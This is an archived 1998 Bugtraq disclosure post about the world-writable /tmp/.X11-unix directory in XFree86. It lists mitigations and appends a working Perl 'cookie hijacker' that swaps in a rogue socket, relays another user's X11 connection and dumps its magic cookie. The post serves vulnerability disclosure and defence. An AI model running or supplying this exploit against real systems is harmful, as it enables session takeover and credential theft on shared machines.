home *** CD-ROM | disk | FTP | other *** search
/ WINMX Assorted Textfiles / Ebooks.tar / Text - Tech - Hacking - Xll_tmp hacking (TXT).rar / X11_tmp.txt
Internet Message Format  |  2003-09-28  |  5KB

  1. Date: Mon, 2 Nov 1998 23:04:43 +0100
  2. From: Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz>
  3. To: BUGTRAQ@netspace.org
  4. Subject: X11 cookie hijacker
  5.  
  6. > > > > drwxrwxrwx   2 root     root         1024 Oct 30 19:57 /tmp/.X11-unix
  7. > > > Hang on, aren't those dangerous permissions?
  8. > > Pretty dangerous. Shall I look for my old cookie hijacker?
  9. > Please post the bloody thing to bugtraq. XFree appear myopic on this issue
  10.  
  11. Evil grin. It has already been told a million times: you are asking for
  12. a problem if your /tmp/.X11-unix (and/or /tmp/.X11-pipe on Solaris) has
  13. the permission bits allowing other users to play games with its contents.
  14.  
  15. Unfortunately, such setting is the default one
  16. excerpt from xc/lib/xtrans/Xtranslcl.c (XFree86 3.3.2 + all patches):
  17.  
  18.   #define X_UNIX_DIR      "/tmp/.X11-unix"
  19.  
  20.       if (!mkdir(X_UNIX_DIR, 0777))
  21.           chmod(X_UNIX_DIR, 0777);
  22.  
  23. The program appended to this message demonstrates how dangerous it is.
  24. Any lamer could delete the socket cause denial of service but using this
  25. program, you can hijack X11 connections and steal magic cookies. (In fact
  26. anything in the protocol not protected against man-in-the-middle attack
  27. is vulnerable.) Having access to the X display of your victim, you can
  28. do whatever you like: from displaying "Boo!" all over the screen to
  29. complete takeover of the session and the victim's accounts, both local
  30. and remote.
  31.  
  32. Potential solutions:
  33.  
  34. - set the sticky bit on /tmp/.X11-unix, make sure the bit stays there
  35. - make it world-unwritable, make sure it stays this way (this works if
  36.   all your Xservers run with some extra privileges)
  37. - special Solaris option: put /tmp/.X11-{unix,pipe} into /etc/logindevperm
  38.   (assumption: the user sitting at the console is the only who uses X)
  39. - abolish Unix-domain X11 sockets and use TCP only (giving up MIT-SHM etc)
  40.  
  41.  
  42. --Pavel Kankovsky aka Peak  [ Boycott Microsoft--http://www.vcnet.com/bms ]
  43. "You can't be truly paranoid unless you're sure they have already got you."
  44.  
  45.  
  46. PS1: /tmp/.X11-unix is not alone. It has brothers: /tmp/.font-unix,
  47. /tmp/.XIM-unix, /tmp/.ICE-unix and God knows what else, and they ALL
  48. have this problem. It is
  49.  
  50. PS2: What about TOG's R6.4?
  51.  
  52.  
  53. ---- snip ----
  54. #!/usr/bin/perl
  55.  
  56. # Copyright (c) 1997 Pavel Kankovsky
  57.  
  58. # Permission to use, modify, and redistribute this program under the
  59. # terms of GNU General Public License version 2, as published by the
  60. # Free Software Foundation, is hereby granted. There is ABSOLUTELY
  61. # NO WARRANTY. You use it at your own risk.
  62.  
  63. # WARNING! This program is provided for educational purposes only.
  64. # Inappropriate use or abuse may result in malfunction or inaccessibility
  65. # of computing systems, disclosure, loss or corruption of data, and other
  66. # damages.
  67.  
  68.  
  69. use Socket;
  70.  
  71. sub dump_snap
  72. {
  73.   my ($txt) = @_;
  74.   my ($pos, $len) = (0, length($txt));
  75.   while ($pos < $len) {
  76.     my ($p, $l1, $l2) = ($pos, '', '');
  77.     foreach $k (0..15) {
  78.       if ($pos < $len) {
  79.         my ($c) = ord(substr($txt, $pos, 1));
  80.         $l1 .= sprintf("%02x ", $c);
  81.         $l2 .= $c >= 32 && $c < 127 ? chr($c) : '.';
  82.       }
  83.       else {
  84.         $l1 .= '   ';
  85.       }
  86.       ++$pos;
  87.     }
  88.     printf("%04x %s%s\n", $p, $l1, $l2);
  89.   }
  90. }
  91.  
  92. $SIG{CHLD} = 'IGNORE';
  93.  
  94. $display0 = $ARGV[0];
  95. $display1 = $ARGV[1];
  96.  
  97. rename("/tmp/.X11-unix/$display0", "/tmp/.X11-unix/$display1");
  98. rename("/tmp/.X11-pipe/$display0", "/tmp/.X11-pipe/$display1");
  99.  
  100. socket(Server, PF_UNIX, SOCK_STREAM, 0) || die $!;
  101. bind(Server, sockaddr_un("/tmp/.X11-unix/$display0")) || die $!;
  102. listen(Server, SOMAXCONN) || die $!;
  103.  
  104. $success = 0;
  105.  
  106. eval {
  107.   local $SIG{INT} = sub { die; };
  108.   accept(Client, Server) || die;
  109.   $success = 1;
  110. };
  111.  
  112. rename("/tmp/.X11-unix/$display1", "/tmp/.X11-unix/$display0");
  113. rename("/tmp/.X11-pipe/$display1", "/tmp/.X11-pipe/$display0");
  114.  
  115. if ($success) {
  116.   $pid = fork();
  117.   if ($pid == 0) {
  118.     close(Server);
  119.     socket(Forward, PF_UNIX, SOCK_STREAM, 0) || die $!;
  120.     connect(Forward, sockaddr_un("/tmp/.X11-unix/$display0")) || die $!;
  121.     $fdset = '';
  122.     vec($fdset, fileno(Client), 1) = 1;
  123.     vec($fdset, fileno(Forward), 1) = 1;
  124.     $snapped = '';
  125.     $snaplen = 0x40;
  126.     while (select($rset = $fdset, undef, undef, undef)) {
  127.       if (vec($rset, fileno(Client), 1) != 0) {
  128.         $b = sysread(Client, $buffer, 16);
  129.         if ($b > 0) {
  130.           syswrite(Forward, $buffer, $b);
  131.           if ($snaplen > 0) {
  132.             $snapped .= substr($buffer, 0, $b);
  133.             $snaplen -= $b;
  134.             dump_snap($snapped) if ($snaplen <= 0);
  135.           }
  136.         }
  137.         last if (!$b);
  138.       }
  139.       if (vec($rset, fileno(Forward), 1) != 0) {
  140.         $b = sysread(Forward, $buffer, 16);
  141.         if ($b > 0) {
  142.           syswrite(Client, $buffer, $b);
  143.         }
  144.         last if (!$b);
  145.       }
  146.     }
  147.     close(Forward);
  148.     close(Client);
  149.     exit(0);
  150.   }
  151.   close(Client);
  152. }
  153. ---- snip ----
  154.  
  155.